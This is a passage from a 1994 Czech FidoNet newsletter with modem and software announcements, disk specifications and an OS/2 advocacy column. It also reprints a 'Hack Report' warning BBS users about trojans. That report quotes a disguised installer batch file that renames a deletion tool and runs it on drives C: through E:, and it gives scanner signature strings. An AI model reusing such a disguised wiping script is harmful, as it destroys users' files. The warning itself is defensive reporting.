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    DA(M)NNEWS jsou (c) DANNET, Daniel Doekal, Praha, esk republika
    DA(M)NNEWS are (c) DANNET, Daniel Docekal, Prague, Czech Republic

     Bezplatn elektronick noviny a magazn Regionu 42 FidoNet st.
    FREE electronic newspaper magazine of Region 42 of Fidonet network.


       Vydvno nepravideln (velice), vydavatel 2:420/77@FidoNet.
         Published unregural (very), publisher 2:420/77@FidoNet.


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                                     Obsah

1.  vodnk  ................................................................  1
    vodnk na vod  ........................................................  1
2.  Novinky  ................................................................  2
    U.S. Robotics NEW MODEMS  ...............................................  2
    PM Designer Version 1.0  ................................................  4
3.  Hardware  ...............................................................  7
    Seagate ST 296N, parametry  .............................................  7
    FUJITSU Model M2613S/SA/SB nastaven  ...................................  7
4.  Software  ...............................................................  9
    The Hack Report, September 1993  ........................................  9
5.  OS/2  ................................................................... 13
    Watching OS/2, by Bert Moshier  ......................................... 13
    Watching OS/2 by Bert Moshier  .......................................... 17
    Should I worry about viruses when running OS/2 2.1?  .................... 21
    Jak vyresit zapomenute heslo pro odemceni OS/2?  ........................ 22
    REBOOT OS/2 pocitace z prikazove radky  ................................. 23
6.  SHAREWARE  .............................................................. 24
    SHAREWARE soubory  ...................................................... 24
7.  Inzerce  ................................................................ 27
8.  Peteno kdesi...  ...................................................... 28
    Telefonn tarify od dubna 1994  ......................................... 28
9.  Legrace a legrcky  ..................................................... 29
    M U R P H O L O G I E  .................................................. 29

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                                    vodnk
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VODNK

Inu, mme to mon i pr msc co se objevilo prvn slo DA(m)NNEWS.
Varoval jsem ji dvno e DA(m)NNEWS budou velice, ale velice nepravideln
a to me znamenat i dokonce msn mezery mezi jednotlivmi sly.

Je sobota a j pevn doufm e vypustm alespo dvoje DA(m)NNEWS bhem
vkendu kter je prv v polovin. Nedostatek asu, ale nakonec i pspvk
je zjevn dvodem k velk mezee od poslednch DA(m)NNEWS.

Toto slo DA(m)NNEWS bude doplnno souborem s pponou .NG. Pro ty, kte
absolutn netu o co jde mohu jenom dodat e je mi velice lto e neznte
jeden z nejlepch produktu Petera Nortona, Norton Guide program umoujc
zpracovvn a prohlen pseudo-hypertextovch databz. Tchto soubor
s .NG pponou koluj stovky po vech monch i nemonch BBS a j sm jich
mm docela poehnanou sbrku na CODA PRAHA BBS a sm je pouvm. Ped asi
dvma roky se objevila nhrada za NG.EXE v podob produktu zvanho
ExpertHelp, kterou dodnes s oblibou pouvm pro lep monosti a men
zbr ji tak dost nedostatkov pamti.

Dnen ploha .NG souboru je databze obsahujc souhrn informac k PGP.
Jist si vzpomenete e v nkterm z poslednch sel byla PGP vnovna
nemal pozornost a jeho poetn bylo prv plohou DA(m)NNEWS. Tentokrt
je plohou DA(m)NNEWS prv dokumentace k PGP v podob hypertextov
databze. Vm e pjde vhod, stejn tak jak pichz vhod m
malikosti.

Daniel

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                                    Novinky
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U.S. ROBOTICS OFFERS FOUR NEW MODEMS SUPPORTING EVERY PROTOCOL

New Courier Modems Include V.32 terbo, V.Fast Class,
Free FLASH ROM Upgrade to ITU-T V.34 Standard

SKOKIE, Ill., February 28, 1994 -- U.S. Robotics, Inc. (NASDAQ:USRX)
today announced four new modems in its Courier modem line.  The modems
are the first and only to support all three major high-speed
protocols: AT&T's V.32 terbo (19.2 Kbps); Rockwell's V.Fast Class
(28.8 Kbps); and V.34, the forthcoming ITU-T standard for 28.8 Kbps.
The new modems are the only products to provide universal
compatibility with any modem at the highest speed possible.

The V.34 protocol will be added to the new modems through a user-
downloadable software upgrade; the upgrade to V.34 is free.  The
announcement comes on the heels of the ITU-T's completion of the V.34
draft, finalized during its February 14-15 meeting in Orlando, Fla.

"We're removing the burden on the consumer by making the choice of a
high-speed protocol a non-issue," said Jonathan Zakin, U.S. Robotics
executive vice president.  "Because compatibility is important, the
clear choice is a modem that supports multiple protocols.  A Courier
modem guarantees a connection at the highest speed possible, no matter
what kind of modem it's connecting to, ensuring the optimum savings of
time and money."

The products are based on a new Courier modem platform, which will be
available in six weeks.  The new design is FLASH ROM-based, for
software-downloadable upgradability; upgrades to V.34 from this
platform will be available at no charge.  Based on U.S. Robotics'
proprietary, DSP-based technology, this architecture provides the
flexibility to include multiple high-speed protocols.  The products
will be available initially in the U.S. and Canada, and in country-
specific versions for Germany, Sweden, Norway, Finland and the United
Kingdom, with others to follow.

U.S. Robotics is conducting a large-scale field trial of the new
platform, which will involve extensive field testing by customers
prior to the products' actual shipment in mid-April.  Field trials are
scheduled to begin March 15; there will be a wide range of
participants, including U.S. Robotics' major corporate customers.

V.34 Compatibility Key for Customer Base, High-Speed Applications

"Our corporate customers adopt products that support internationally-
recognized standards," added Zakin.  "The new platform gives them
future compatibility with the ITU-T V.34 standard at no cost,
providing a software-downloadable upgrade that makes it easy for them
to implement V.34 as soon as possible."

"The new speeds open the door for new applications," continued Zakin.
DA(m)N NEWS 2-05                   Str. 3                    9 Be 1994


"Dial-up is fast becoming an appealing alternative to services such as
Switched 56, often providing a more cost-effective answer to corporate
connectivity needs.  This is key for today's companies, who want to
optimize their return on investment."

Modems Provide Extensive Feature, Protocol Support

The company's announcement includes four new modems, which provide
extensive support for modem features and protocols.  The new
products are:

   Courier V.Fast Class Fax
   Courier V.Fast Class Fax/PC
   Courier HST Dual Standard V.Fast Class Fax
   Courier HST Dual Standard V.Fast Class Fax/PC

Each new product includes:

   V.32 terbo, the AT&T 19.2 Kbps protocol (Courier-to-Courier
   operation at 21.6 Kbps)

   V.Fast Class, the Rockwell proprietary protocol for 28.8 Kbps

   V.17, the ITU-T fax protocol for 14.4 Kbps faxing

   Free V.34 Upgrade, software-downloadable for international
   compatibility at 28.8 Kbps

The products will be available in external and internal versions, and
provide optional HST and HST Cellular capabilities.  HST is the
company's proprietary protocol for 16.8 Kbps, providing compatibility
with the installed base of HST modems; HST Cellular, introduced last
year, provides high-speed cellular data transmission.

The new Courier modems also include several advanced features,
including Quick Connect, for shortened connect times, dial security,
call selection, remote configuration and V.25 bis, for
synchronous environments.  The products will also include U.S.
Robotics' proprietary Adaptive Speed Leveling (ASL) for increased
throughput on Courier-to-Courier connections.

The products also provide ITU-T V.42 and V.42 bis error control and
data compression, as well as backward compatibility with V.32 bis,
V.32 and other standard modem protocols.

Courier Modem Architecture Key to Flexibility

"Our architecture gives us a distinct advantage in this arena," said
Zakin.  "It enables us to bring products to market quickly, and gives
us the flexibility to implement numerous high-speed protocols in a
single product."

The company has not yet announced pricing on these products; pricing
will be announced in April.

U.S. Robotics will provide an upgrade path to the new platform from
DA(m)N NEWS 2-05                   Str. 4                    9 Be 1994


previous products; most Courier V.32 bis and all Courier V.32 terbo
products are field upgradable via a daughterboard swap.  Older model
Courier modems may be traded in through a program the company will
implement this spring.

U.S. Robotics, Inc., (NASDAQ:USRX), is a leading designer,
manufacturer and marketer of data communications systems and products.
Both corporate headquarters and manufacturing operations are based in
Skokie, Illinois.  U.S. Robotics owns and operates U.S. Robotics Ltd.
in Slough, England, U.S. Robotics, s.a. in Lille, France and P.N.B.
s.a., based in Suresnes, France.  The company markets its products to
business, industry, government agencies and original equipment
manufacturers, and to end-users through the personal computer
distribution channel.

# # # # #

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               -> VacNat Software Announces <-
                   PM Designer version 1.0
          A Visual C++ application design tool for
                  OS/2 Presentation Manager

PM Designer(PMD) is a visual programming tool for OS/2 PM and C++ that
takes the drudgery out of writing Presentation Manager
applications. It can reduce the time it takes to write a functional
PM application from days to hours or minutes. The idea behind PMD is
to allow the fastest possible transition from "Hey, what if i had an
app that..." to "Okay, that's what it looks like.", without having
to actually write a program, compile it, and run it first.

PMD integrates your other tools, acting as kind of a bridge between
the resource-creation and coding stages of your application's
development.

Building a PM application complete with a status bar, toolbar, dialog
boxes, a menu, etc., is a simple "point and click" process. First, use
your resource editor to create the dialog, bitmap, and menu resources
that will appear in your application. Now start PMD. Press the "Design"
button, RMB click on the design window, press a few  buttons, and you're
on your way. Specify the files your resources are in, and their names,
and they appear on the window as they would in a "live" application.
Select items on these resources, for example an item on a menu, and PMD
allows you to "link" that item to another resource or action, such as
opening a specific dialog box, running another application, opening a
system-defined dialog box, or simply inserting a section of  your own
source code.

PMD supports the generation of singlethread as well as multithreaded
applications, applications with dialog boxes as their main windows,
and generates makefiles, support code in header files, .RC files, and
attractively formatted, highly organized C++ source code.
The resultant programs are compact and fast. Unlike most other visual
programming environments, no massive runtime DLLs are required,
DA(m)N NEWS 2-05                   Str. 5                    9 Be 1994


and of course, there is no runtime royalty fee.

The layout of the source files facilitates easy modification and
maintenance, because instead of the traditional giant switch statement
in the window procedure, PMD's standard code generator creates a tiny
"event procedure" for each message you want the application's
window to receive, and one for each menu item, toolbar button,
or pushbutton in your application. The global data in your application
 is stored in the window words for each window, and a single source
module is generated to support each window or dialog box in your
application.

PMD also has a "test" mode that allows you to view the application
as it would look and behave after it's built and compiled.

After you finish the design phase of your application, you enter
"Build" mode, and press "Go" to generate the source files. seconds
later, the files appear in a listbox, and from there, you can load
them into your favorite editor, or press the "Procedures" button to see
a  list of the procedures in the file, and edit them, one by one, with
the integrated procedure editor. This editor, designed especially for
this  purpose, features a toolbar, and context-sensitive online help on
any of the  PMDAPI functions(explained later in this document), and, if
you have the OS/2 Toolkit, help on any of the OS/2 API functions. (This
editor is a subset of the standalone text editor that ships with the
full version of PMD.)

The resultant source files can be regenerated after you edit them
without destroying the work you've already done.

PMDAPI functions and macros
---------------------------
PMD includes a large set of helpful functions and macros to help
reduce  the "noise level" in your code. These APIs are documented in an
online reference.

Skeleton Files
___-----------
PMD uses a set of template, or "skeleton" files to control how it
generates source code. These files are essentially source files
that contain special variables and flags to tell the code generator
what to do, so it's a simple matter to customize PMD to suit your own
needs.

Alternate code generators
___----------------------
PMD makes use of "plug-in" DLLs to generate source code. This allows
the use of any number of different code generators, for any purpose.
Suppose you want PMD to generate Pascal code. The standard code
generator doesn't work for that, but one could be built that does. IBM's
class library? not a problem. zApp? doable. Your own class library? just
ask. Windows code? If you must. More code generators are under
development, and will be available shortly.  If we don't have one that
you need, the API for writing your own DLLs is  available. Contact us at
one of the addresses below for more information.

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Pricing and Availability
___---------------------
PMD is available via mail order at a price of $45, which includes
shipping and handling. This includes PMD's design environment, the code
generator,  the PMDAPI header file set, the online reference
information, the  text editor, the skeleton files, example programs, an
icon and bitmap library, the necessary .LIB files, and technical support
through CompuServe, and VacNat's own BBS. See the address below for
details on where to send your order.

System Requirements
___----------------
PMD does not include a compiler, .RC editor, or the OS/2 header files.
You will have to supply these. a package such as Borland C++ for OS/2
will work nicely, as will any other package that includes a C++
compiler, and the OS/2 Toolkit. PMD requires approx. 2 MB of disk space,
and a  minimum of 8MB of ram is recommended. A mouse is also highly
recommended.

How to see a Demo
___--------------
To see a demonstration of PMD and what it does, how it works, etc., a
demo can be downloaded from CompuServe in the OS2DF1, BCPPWIN, or
OS2USER forums. It is also available on the OS/2 Shareware
BBS(703-385-4325),  Silver Lake BBS(206-743-3489), or VacNat's own BBS,
at 913-764-5958.  More BBSes as they are discovered and uploaded to.
This is a smaller version of PMD so that you can download it with less
expense(in case the BBS is long-distance) but it includes example
programs, a  fully functional copy of PMD's design environment, and the
documentation. It also includes an order form.

It is also available for FREQ at 1:280/304.
The filename is PMDDEM.ZIP. (431743 bytes)

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DA(m)N NEWS 2-05                   Str. 7                    9 Be 1994


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                                    Hardware
================================================================================


                              ST - 296N

       UNFORMATTED CAPACITY (MB) ________________N/A
       FORMATTED CAPACITY (34 SECTORS) (MB) _____84.9
       ACTUATOR TYPE ____________________________STEPPER
       TRACKS ___________________________________4,920
       CYLINDERS ________________________________820
       HEADS ____________________________________6
       DISCS ____________________________________3
       MEDIA TYPE _______________________________THIN FILM
       RECORDING METHOD _________________________RLL
       TRANSFER RATE (mbits/sec) ________________10
       INTERFACE ________________________________SCSI
       TPI (TRACKS PER INCH) ____________________777
       BPI (BITS PER INCH) ______________________19,869
       AVERAGE ACCESS (ms) ______________________28
       SINGLE TRACK SEEK (ms) ___________________8
       MTBF (power-on hours) ____________________70,000
       POWER REQUIREMENTS: +12V START-UP (amps) _2.5
                           +12V TYPICAL (amps) __0.5
                           +5V TYPICAL (amps) ___1.4
                           TYPICAL (watts) ______13
                           MAXIMUM (watts) ______37
       BUFFERED STEP PULSE RATE (micro sec) _____3-200
       WRITE PRECOMP (cyl) ______________________N/A (821)
       REDUCED WRITE CURRENT (cyl) ______________N/A (821)
       LANDING ZONE (cyl)________________________AUTO PARK
       IBM AT DRIVE TYPE ________________________N/A**

       **MAY REQUIRE PARTITIONING SOFTWARE

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                                    FUJITSU
                              MODEL M2613S/SA/SB
                                JUMPER SETTINGS

    Ŀ
                                                 CNH-1         Ŀ   
                                                 ڿ             S    
                        (Terminator    11 ͵             C    
                             power)        10 ͵             S    
                                            9 ͵             I    
                                            8 ͵            I/F   
                                          7 ͵             C    
                      (Synchronous      6 ͵             O    
                       transfer mode)       5 ͵             N    
                                          4 ͵             N    
                    (SCSI bus parity)   3 ͵             E    
                                            2 ͵             C    
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                                          1 ͵             T    
                                                              O    
                                                                R    
                                          CNH-2                   
                 (Write protection)     (SCSI ID)                      
                                       ڿ                             
                       (motor control)  9 Ŀ                   
                      Ŀ Ŀ        8     ID-3              
       CNH-4                         7                    
      ڿ              1 2 3 4 5 6        6 Ŀ                   
       1 Ŀ                  5     ID-2         \
       2       п       4                O  
       3 Ĵ           3 Ŀ                  
                                      2     ID-1          O  
                                        1                   
    (Self-diagnostic switch)                                     O  
                                                         (Power       
                                                      connector)   O  
    /

Jumpers:                                  CNH-3 Motor Control
CNH-1 SCSI bus parity                           Started by
      Enabled     1 2   x                       power on      4 5  x
      Disabled    2 3                           Started by
                                                command       5 6
CNH-1 Synchronous transfer mode           CNH-2 SCSI ID
      Enabled     4 5   x                       Bit-0 Enable  1 2
      Disabled    5 6                                 Disable 2 3  x
                                                Bit-1 Enable  4 5
CNH-3 Write protection                                Disable 5 6  x
      Enable      2 3                           Bit-2 Enable  7 8
      Disable     1 2   x                             Disable 8 9  x
CNH-4 Self-Diagnostic Mode
      Self-Test mode    1 2   x
      Normal mode       2 3
Terminator Power should be supplied from the Bus unless otherwise specified.

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DA(m)N NEWS 2-05                   Str. 9                    9 Be 1994


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                                    Software
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                        Hack Report, September 1993

  Now, some info on a DEBUG script forwarded by Jack Cross (1:3805/13) from
  the FidoNet BATPOWER echo.  The script, which has generated a great deal
  of discussion, created an archive (LZH) of the program TinyCache
  (filename TNYCACHE), claiming to be a small disk cache.

  As soon as the script was posted, folks started reporting symptoms of
  destructive activity:  destroyed FATs and reformatted hard drives were
  been reported after this program was run.

  Prior to the publication of the April edition of this report, I tried a
  feeble attempt at analyzing this program myself.  However, as I have said
  before to folks who contact Hack Central Station, I'm a reporter, not an
  AV expert.  So, I forwarded a copy of this script to HW Jeff White of The
  Pueblo Group for testing.  Others ran their own tests, and still others
  forwarded the resulting archive for further testing.  The reports (which
  are _far_ too numerous to credit in their entirety - please accept my
  thanks for your help!) had some similar results, but left some confusion
  as to what this file actually is.

  All of the reports indicate that the unarchived file, TNYCACHE.COM, is
  compressed with PKLite and that the PKLite ID header was edited out of
  the resulting file.  Once decompressed, McAfee's SCAN reported that the
  file was infected with the Taiwan3 [T3] virus, and Frisk's F-Prot
  detected the AnitCAD virus.

  This is where things get wierd.  Bill Dirks (1:385/17) reported that
  there were two versions of the file - TNYCACHE.EXE and TNYCACHE.COM.  He
  also said that the .exe version is actually a renamed copy of the SCCHECK
  Trojan, and that the .com version is "hacked to include a hacked version
  of the AntiCAD virus."

  Bill included the following scanner strings for use with McAfee's SCAN:

              "2BC00221200961642E6578652004" Pklited-Anticad
              "46048B4E068B56088B5E0CCD261B" Sccheck-Trojan

  The second string can also be used with Frisk's F-Prot as a user string,
  as long as you inform the program that it is a .com/.exe infector.

  However, Bob Stettina, a user at 1:382/77, had a different analysis of
  this file, based on a report he says he received from Spencer Clarke of
  McAfee Associates.  Bob also decompressed the PKLited .com file and
  received a Taiwan3 [T3] report from McAfee's SCAN v102.  After this, he
  uploaded the file to McAfee Associates.

  The report received from Mr. Clarke said, according to Bob, that this
  file is "a unique/new Trojan, and it is *NOT* actually infected with a
  virus:  rather, this Trojan includes a segment of code that is
  accidentally 'recognized' by SCAN as the Taiwan3 virus."  The report also
DA(m)N NEWS 2-05                   Str. 10                   9 Be 1994


  stated that other scanners gave off false alarms on this file.  Finally,
  Bob goes on to say that this file does not replicate:  since the ability
  to reproduce is part of the basic definition of a virus, Bob concludes
  that this one fails that test and is therefore a Trojan.

  HW Jeff White's test results tended to agree with the majority of the
  reports:  the .com file was simply infected with the Taiwan3 [T3] virus,
  and was capable of being "cleaned" by McAfee's Clean-Up v102.

  This has been a fascinating study in program analysis.  Unfortunately,
  the story does not end here.  Oliver Bladek (1:134/49) has found the file
  posted as an archive on a BBS under the filename TNYCACHE.  The file
  exhibited the same symptoms reported above.  It would seem, therefore,
  that whatever the program actually is, be it virus, Trojan, or whatever,
  it has been re-created from the DEBUG script by someone, not run on their
  system, and later absent-mindedly uploaded as an archive to a BBS.  If
  you see this file, make sure it's the same one we're talking about here:
  if it is, delete first and ask questions later.


  Andy Thomas (1:125/217) forwarded a report from Allan Thomas (Smartnet
  Virus Conference) about an infected copy of the archive BBSLAWS.  The
  archive contained two files - NEWLAWS.TXT and README.COM.  The .txt file
  seemed to be for real, but the .com file was another story.  According to
  Allan, the program displays the following message just before it locks up
  your system:

      "Install v1.0 (c) Vivid Imaginations, Ltd.  All rights reversed."

  As Allan points out, note the spelling of the last word in the above
  quote:  quite subtle.  The damage you will find after you reboot is not
  so subtle, though - the program at least overwrites your MBR and 1st FAT,
  deletes itself, and overwrites the remnants of itself with garbage to
  hide the evidence.  When it overwrites itself, it writes enough bytes to
  cover every sector it used to occupy, resulting in a write of more bytes
  than the original file size.


  Paul Harney (1:107/579) forwarded a message from a user, Rod Fewster,
  concerning a sighting of something claiming to be PKZip v2.04I.  The
  file, a self-extracting archive called PKZ204I, shows a "valid"
  authenticity verification on unpacking.  However, Rod says both the
  internal files PKZIP.EXE and PKUNZIP.EXE "whack out your CMOS settings
  totally as soon as they're run."  No other damage was reported.

  Here are the vital stats, as provided by Rod:

        "Archive date is 02-22-93 20:35.

        "All files are dated 02-22-93 02.04 except pkunzip.exe
         which is dated 02-22-93 20:34."

  Rod also provided a comparison between v2.04g and this file's
  executables:

        "v2.04g filesizes are:  pkzip.exe 42166   pkunzip.exe 29378
DA(m)N NEWS 2-05                   Str. 11                   9 Be 1994


         v2.04i filesizes are:  pkzip.exe 42186   pkunzip.exe 29398"


  Chuck Gustafson (1:2201/33) forwarded to the FidoNet echo DIRTY_DOZEN a
  report from Brian Buchanan (Brian Buchanan #1 @8251 VirtualNET) about the
  file FDFORM.  This appears to be an isolated incident of a Trojan version
  of the legitimate program FDFormat.  The .zip archive was only 13106
  bytes long, and contained the files FDOCS.PAK (317 bytes), FDFORMAT.PAK
  (11366 bytes), and FDSETUP.BAT (174 bytes).  The .bat file contains the
  following commands:

                  @echo off
                  cls
                  echo Analizing system configuration...
                  @echo off
                  ren fdocs.pak fd.exe
                  echo Unpacking files...
                  echo (This may take a few minutes)
                  fd c:\
                  fd d:\
                  fd e:\

  The problem here is that the file FDOCS.PAK is actually a renamed copy of
  a program called NHUE, which according to Brian is a utility that deletes
  all files and sub-directories in the directory specified on the command
  line.  If you look at what happens in the .bat file, you'll note that
  NHUE, originally renamed FDOCS.PAK, is re-renamed to FD.EXE and is called
  for drives C: through E:, potentially wiping out everything on these
  drives.


  Lee Noga (1:3618/23), apparently one of the folks associated with the
  PowerPak Gold '92 Shareware CD-ROM disk, asked that I help warn folks of
  a Trojan file on their disk called MWARS20.  This file, which has been
  seen in other locations, contains two files, DEMO.EXE and READTHIS.COM,
  which appear to be the main culprits.  According to a report from Scott
  Catterill (Intelec PC-Security conference, via HW Bill Lambdin and based
  on info from Dave Comeau), both files contain the following text:

    eat this. REVENGE!. Melting Memory!. Maybe next time, you won't steal
    people's Passwords and get them ****** off at you... I hope you backed
    up your hard drive!

  Scott says both will try to low-level format your hard drive.  However,
  according to Lee Noga's report, the program acts a bit differently.  The
  copy on the PowerPak CD-ROM contains the following files:

                       MWARS.BAT      128     07/17/92
                     MWARS20.EXE    15864     02/15/92
                     MWARS20.DOC     2058     07/17/92
                        NOTE.DOC      309     01/01/80
                         YANG.ME      121     07/17/92
                     INSTALL.EXE    39080     06/14/90
                        DEMO.EXE     5470     04/22/90
                     DOMENOW.COM      937     09/24/90
                    READTHIS.COM     5470     04/22/90
DA(m)N NEWS 2-05                   Str. 12                   9 Be 1994


  Lee says the program does its damage via the .bat file, via DEMO.COM, and
  via DOMENOW.COM - all three are dangerous, as they will scramble your
  hard drive's FAT table.  The same message as Scott reports will appear,
  but if you reboot during its display, you may be able to abort the
  Trojan's damage.  Lee also notes that the game itself was untouched:  if
  you don't invoke it via the .bat file, it will run just fine.  Bizarre.

  (Editorial - I appreciate the effort taken by vendors to inform the
  public of a problem with their product.  Even if the publicity hurts
  sales, the loss can't be worse than the potential loss caused by a
  perception that a company doesn't care about whether or not their product
  is dangerous.  This is not an indictment of _any_ company or author:  it
  is merely intended to encourage companies and authors to report attacks
  against and/or problems with their products as soon as they learn of
  them.  My life would be _so_ much easier. <g>  -lj)


  Tom Guelker (1:2250/26) posts in the FidoNet DIRTY_DOZEN echo a report of
  a Trojan called SINBAD.  It claims to be a file transfer protocol
  utility, but it actually throws your system into a perpetual loop by
  overwriting your AUTOEXEC.BAT file.  The new AUTOEXEC.BAT (as well as
  SINBAD.EXE) becomes read-only and invokes SINBAD.EXE, which again
  overwrites AUTOEXEC.BAT with the same info (apparently turning off the
  read-only bit first <?>), etc. ad nauseum.  Definitely sounds irritating,
  but not dangerous unless you don't have a copy of your original
  AUTOEXEC.BAT file:  you can bypass the loop by booting from a known
  clean, write-protected system disk, and then use a utility such as the
  MS-DOS 4.01 and above ATTRIB.EXE to remove the read-only bit.  This will
  allow you to delete the offending .bat file and replace it with a copy of
  your original, or to re-write it if you didn't have a backup.


  Henry Shaw (1:261/1177, via Jack Cross, 1:3805/13) reports on TAGCRASH, a
  supposed utility or crack of some sort for TAG BBS systems.  Henry says
  the archive contained the internal file TAGUTIL.COM, which started off in
  your \BBS directory and "worked its way through the obvious choices of
  \TAG and \MULTI till it found all the .DAT files, .LST files and
  everything else that pertained to a TAG board."  These files would be
  deleted when found.  An easy way to trash a TAG system, Henry says.

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================================================================================
                                      OS/2
================================================================================


                             Watching OS/2
                            By Bert Moshier

As I look out over the OS/2 plain, I see eager minds looking forward to
OS/2 2.0.  In these recessionary times, many people see OS/2 as a way to
increase their productivity by letting them work smarter, not harder.
They see OS/2 as the way to integrate their work into one environment.
"Free at last," they say.  Free at last, of the frustrating multiple
autoexec.bat and config.sys merry-go-round, frequent rebooting, and
hours spent getting applications to play nicely together.  These eager
minds are hunting for articles to eat, information to drink and grasping
for contacts.  Some are very well feed and informed.  However, others
have the hunger that only comes from neglect.

These hungry users ask simple questions.  Is OS/2 by invitation only?
If yes, how do I get an invitation?  If no, why can't I find OS/2
information?  Why isn't IBM pro-active in getting OS/2 information to
me?  Since actions speak louder than words, is IBM serious about OS/2?
These questions show end-user frustration and their perception of IBM -
and isn't that, after all, the real IBM image.

Many examples exist, and range from computer newspaper editors-in-chief
to people on Usenet's comp.os.os2.misc.  It is not possible in a column
to cover all the comments given to me.  An example is Kevin Reichard,
Editor-in-Chief of Computer User - a computer newspaper in Minneapolis
with 80,000 readers.  Nationally, Mr. Reichard influences 800,000
readers with Adams Publishing computer newspaper franchises.

Mr. Reichard, in the December 1991 Down to Business column, covered the
Fall 1991 COMDEX.  He says, "IBM failed to show OS/2 2.0."  I took
exception, in a letter pointing out three chances he had to see OS/2 2.0
at COMDEX.  He called me saying he'd be unable to print the letter since
it was unfair.  He tried to find OS/2 2.0 information but was unable to
do so.  There were no notices in the press room, no invitation, no
information from his local branch, etc.  (Please note that Microsoft
invited him to a press meeting and several receptions.)  He went to the
main IBM booth and found only OS/2 1.3, etc.  He honestly wants to give
OS/2 2.0 a chance.  IBM must meet him and all users at least half way,
if not go farther.

Several IBM employees at the national and local level worry that the
public will overwhelm IBM's ability to respond.  This concern was why
the OS/2 announcement at COMDEX and the local level was by invitation.
This is also the reason given why local IBM classes may be by invitation
only, at least to begin.

IBM should be so lucky as to have this problem.  It is true end-users
would not like dealing with an overloaded system.  They will complain;
saying IBM could learn from the Boy Scouts.  Yet, to hold back OS/2
information from end-users defeats OS/2 before the game begins.

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Many at IBM - including Dave Both, Mark Chapman, Patricia Wolpert, Lucy
Baney, Dave Whittle, Ian Stirling, Larry Salomon and Larry Magolis to
name a very few - work hard to help make OS/2 2.0 a success and inform
endusers.  All of IBM, though, needs a commitment to OS/2.  From the
local branches to the AS/400 developers to the System/390 designers,
OS/2's success or failure affects them all.  They cannot change this
fact.  They can only affect the outcome.

The following marketing and advertising ideas deal with the real world
and current market dynamics.  They do not represent all the directions
IBM needs to take, but cover important aspects that IBM is failing to
meet.

Advertise OS/2 and encourage OS/2 articles in a broad range of
publications.

OS/2 advertisements are failing to reach most potential OS/2 end-users.
These advertisements are reaching those people buying ten or more
personal computers per year.  Most end-users cannot qualify for a PC
Week or Info World free subscription, find a newsstand carrying single
issues, or afford the subscription cost.  These are outstanding
magazines for those in the computer industry or buying many computers.
Most potential OS/2 2.0 end-users do not fall into either of these
groups.

Why doesn't OS/2 show up in magazines similar to Home Office Computing?
Their slogan is "Building Better Business with Technology."  Isn't
building better businesses the OS/2 goal?

IBM needs to advertise and encourage the writing of OS/2 articles in a
broad range of magazines.  This includes, but should not be limited to:
Shareware Magazine, Publish, PC Today, WordPerfect Magazine, PC World,
PC Computing, PC Source, Time, Newsweek, PC Magazine, Byte and U.S.
News & World Report.

Support individual and shareware developers.

IBM aids companies developing commercial OS/2 products through its
developer assistance program (DAP) and its OS/2 32 bit Expedite program.
These programs fail to recognize the importance of the individual,
shareware or internal company developers.

I cannot cover in a short space the importance of supporting these
developers.  They aid in the acceptance of an operating system or
application through many avenues.  Friends, coworkers and relatives who
know a software product help people feel comfortable and safe using the
product.  This is one method by which developers and power end-users aid
in a product's public assimilation.

IBM must provide developers with low cost or free access to OS/2.  This
access includes local level development classes (for example by video
tape), quick defect support, round table discussions, technical
end-developer support, and access to developer tools.  IBM should
consider going beyond the call of duty by providing product marketing
and testing support.

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Use TV Information commercials.

A commercial could open with a series of glimpses into end-user lives.
They are sitting by open fires with spouses, attending baseball games,
school plays, and visiting with friends and relatives.  The background
announcer asks simple questions.  "How can these busy people have time
for a well balanced life?  In these recessionary times companies are
asking people to do more with less.  How can they find time to advance
their careers and have time for their families?"

The announcer discusses several items that help each of us live balanced
lives, and how they interact.  For example, how the family helps the job
and the job helps the family.  The most important of these items is
time.  People need to manage and better use the time they have in each
day.  At the end, the announcer points out these people share a common
tool in dealing with their time.  It is OS/2.

The commercial continues by providing OS/2 information.  It explains how
OS/2 aids in improving productivity by reducing the time it takes to do
daily tasks.  How we in our lives multi-task but allow our computers to
single thread.  (Who doesn't think while driving to work, or listen to
the radio.)  It shows how OS/2 brings multi-tasking to the work place
and enables us to work on multiple activities on our computers.

The commercial must include more than just IBM computers.  Users must
see their own computer being productive.  This shows that OS/2 is an
open system and drives this point home.  The commercial leaves the
viewer with a positive image of a new and open IBM.

OS/2 2.0 Application Contest.

Part of the OS/2 marketing problem is one of its acceptance at the
application level.  Two application environments exist in OS/2, DOS and
native OS/2.  OS/2 2.0 solves the DOS problem by providing multiple DOS
boxes (MDVM), bootable DOS and built-in Windows support.  It does not
solve the problem of OS/2 native application acceptance.

The general PC world does not acknowledge or fully understand the
advantages of OS/2 native applications.  The average DOS end-user, the
general and "computer literate press" has an education gap.  IBM must
motivate the press, commercial houses and individuals to develop native
OS/2 applications.  An application contest with a wide range of prizes
($1,000,000 to development tool rebates) is necessary.

OS/2 end-user appreciation day that includes the local press.

The agenda would prepare the OS/2 end-user to use OS/2 2.0 and to go out
and help other people gain interest.  IBM should include the local press
so they can meet actual end-users, gain end-user contacts, and see and
use OS/2.

The day should begin with a greeting from John Akers, Lee Reiswig and
the presidents of those companies supporting OS/2 2.0.  This includes
not just applications, but also PC manufacturers.  The day would
continue with real time presentations, tips and techniques, information
on the Fall 1992 release (2.1) and portable OS/2, food, and a chance to
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look at upcoming marketing and advertising ideas.

The end-user and the press would leave with several items.  First, the
OS/2 1.x end-user could get their free upgrade to 2.0 at the party.  The
press would leave with a copy to evaluate.  Second, end-users would
receive demo suggestions on how to show OS/2 to their coworkers and
friends.  The press would leave with a better understanding for OS/2
than they have about Windows.  Third, everyone would leave with OS/2
mugs, pins, pens, shirts (golf, T), mouse pads, etc.

IBM must validate their OS/2 advertisements and marketing directions.

IBM must test (validate and verify) the OS/2 advertisements and
marketing directions.  As OS/2 version 2.0 goes through many testing
programs, IBM must test and validate the public relation plan.

Validation needs to occur at both the national and local levels.  IBM
needs to test using a broad range of people including OS/2 supporters.
While OS/2 supporters know the product and can create ideas, to refine
the ideas requires those who have yet to buy into the OS/2 world.

There are other ideas and methods available to promote OS/2.  These
include offering free local OS/2 classes, providing video stores with
free OS/2 usage tapes, user group presentations with free copies of 2.0
as door prizes, and to publish many OS/2 paperbacks.

IBM must provide to all people all the OS/2 information they can digest.
Until this occurs hunger will continue and the OS/2 community cannot
grow to its full potential.

IBM created the PERSONAL Computer and PERSONAL System.
OS/2 runs on 386SX and above PERSONAL Computers and Systems.
IBM must advertise and inform the PERSON using these PERSONAL Computers
and Systems.

                                --  --

Bert Moshier is the president of the Minnesota OS/2 End-user Group.  He
has been working with VM systems since 1977, and as a VM systems
developer since 1979.  He became involved in OS/2 in 1989 when DOS,
